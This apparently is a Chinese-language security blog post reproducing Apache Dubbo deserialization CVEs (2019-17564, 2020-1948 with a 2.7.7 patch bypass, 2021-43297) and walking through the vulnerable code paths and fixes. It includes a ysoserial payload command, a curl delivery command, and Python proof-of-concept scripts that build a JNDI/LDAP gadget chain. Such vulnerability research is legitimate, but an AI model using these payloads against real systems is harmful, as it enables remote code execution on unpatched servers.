ApacheDubbo反序列化漏洞复现分析

前言

学习下Apache Dubbo系列的经典漏洞

CVE-2019-17564

影响版本

  • Dubbo 2.7.0 to 2.7.4
  • Dubbo 2.6.0 to 2.6.7
  • Dubbo all 2.5.x versions

环境准备

https://github.com/apache/dubbo-samples/tree/master/dubbo-samples-http下载源代码,在pom中切换dubbo版本,发现无法找到存在该漏洞的版本,手动下载jar包添加,并添加可利用依赖common-collections3.2

漏洞分析

在dubbo开启http协议后通过http协议的请求都会经过org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle方法,所以在此处打断点
利用ysoserial生成payload

1
java -jar ysoserial.jar CommonsCollections6 "/System/Applications/Calculator.app/Contents/MacOS/Calculator">cc6

然后发送

1
curl http://127.0.0.1:8081/org.apache.dubbo.samples.http.api.DemoService --data-binary @cc6

会发现断在我们的断点处,向下跟踪

170行会根据我们传入的路径寻找处理器,我们看看this.skeletonMap的值

key对应着请求路径,value是一个HttpInvokerServiceExporter类的实例;接着在177行使用获取到的处理器处理请求,调用的是org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#handleRequest

接着会将请求发送到org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation(javax.servlet.http.HttpServletRequest)方法中

该方法中将请求对象和我们发送的序列化内容传入org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation(javax.servlet.http.HttpServletRequest, java.io.InputStream)方法中

在该方法中首先会对我们传入的序列化内容转换成ObjectInputStream类型,然后传入org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation方法中

在该方法中直接对传入的ObjectInputStream对象进行反序列化操作,导致漏洞利用链的触发

漏洞修复

将dubbo切换到高版本进行调试,发现在org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle中将请求处理器HttpInvokerServiceExporter换为了JsonRpcServer,在后续的处理中,没有进行反序列化操作

CVE-2020-1948

影响版本

  • Dubbo 2.7.0 to 2.7.6
  • Dubbo 2.6.0 to 2.6.7
  • Dubbo all 2.5.x versions

漏洞分析

可以参考https://www.cnblogs.com/zhengjim/p/13204194.html 中的环境搭建部分进行测试
参考网上的利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8001",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='xxx',
service_version="",
method_name='yyy',
args=[toStringBean])

print(resp)

由于最后是利用rome组件的链条完成利用,所以直接在rome调用链中的com.rometools.rome.feed.impl.ToStringBean#toString()处下断点,发送poc,断点断下后向上查看调用栈,可以看到是由org.apache.dubbo.rpc.RpcInvocation#toString方法进入到ToStringBean的,其中的arguments包含着ToStringBean的实例

接着向上寻找会发现org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker方法中的代码引发了后面的利用过程,关键点在一处异常处理中

1
2
3
4
5
6
//关键代码
if (exporter == null) {
throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);
} else {
return exporter.getInvoker();
}

其中inv是一个DecodeableRpcInvocation 类的实例,里面存储着上文提到的arguments

在处理异常的过程中,会隐式调用toString方法,进而触发后面的利用链;那么我们来分析下何时会抛出异常

当exporter是null的时候,会进行异常处理,也就是在this.exporterMap中找不到键值为servicekey的值,其中servicekey是用户请求的servicename,this.exporterMap是provider定义的service,也就是说当用户请求的service在provider中找不到时,会触发该漏洞

2.7.7补丁分析及绕过

将dubbo版本切换到2.7.7,然后发送payload

提示Service not found:,搜索下异常

可以看到在抛出异常之前有一个判断,跟进去if中的两个方法

当请求的方法名是$invoke , $invokeAsync ,$echo其中之一时,不会抛出异常,那么我们可以修改payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8001",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='xxx',
service_version="",
method_name='$invoke',
args=[toStringBean])

print(resp)

https://github.com/HyCXSS/JNDIScan 项目检测下jndi注入请求

可以看道成功收到了provider的ldap请求

2.7.8补丁修复

将版本切换到2.7.8,可以看到对调用方法的参数类型做了校验,

我们传入的参数类型是Lcom/rometools/rome/feed/impl/ToStringBean; ,自然是不符合的,也就会抛出异常

CVE-2021-43297

影响版本

  • Apache Dubbo 2.6.x versions prior to 2.6.12
  • Apache Dubbo 2.7.x versions prior to 2.7.15
  • Apache Dubbo 3.0.x versions prior to 3.0.5

漏洞分析

首先看一下版本diff
https://github.com/apache/dubbo-hessian-lite/commit/a35a4e59ebc76721d936df3c01e1943e871729bd#

都是隐式触发toString的点被修复了,其中值得关注的是com.alibaba.com.caucho.hessian.io.Hessian2Input#expect 在反序列化过程中多处存在,那么我们可以分析下如何触发异常来让我们到达toString触发点,首先分析下反序列化的过程
首先会使用com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectDefinition来恢复类的类型和字段名

然后进入com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.util.List<java.lang.Class<?>>)来恢复类的实例

跟进去

接着跟进

获取到反序列化器为JavaDeserializer,然后进行反序列化,接着跟进com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject(com.alibaba.com.caucho.hessian.io.AbstractHessianInput, java.lang.String[])

首先恢复类的实例,然后接着调用com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject(com.alibaba.com.caucho.hessian.io.AbstractHessianInput, java.lang.Object, java.lang.String[])来恢复属性的值
首先遍历属性,获取属性对应的反序列化器进行反序列化

当字段的类型是object时,会再次调用com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectDefinition来获取对象的信息

首先会进行readstring操作,其中这个readString方法中就存在着对expect的调用
如果在该处readString时使其异常进入expect,我们就可以触发后面的toString链,这里我们可以将属性的值更改掉,如图

正常在readString中首先会执行read操作,读到F,我们可以控制换掉这个F,也就是更改tag的值

在这里我们选择0x43,也就是67,然后进入expect

在这里会readobject,也就是会读0x43 后面的值,然后触发toString,我们在0x43后拼接我们构造的恶意对象即可

参考链接

https://gv7.me/articles/2020/cve-2019-17564-dubbo-http-deserialization-vulnerability/
https://l3yx.github.io/2020/08/25/Apache-Dubbo-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E7%AC%94%E8%AE%B0/
https://www.cnblogs.com/zhengjim/p/13204194.html
http://rui0.cn/archives/1338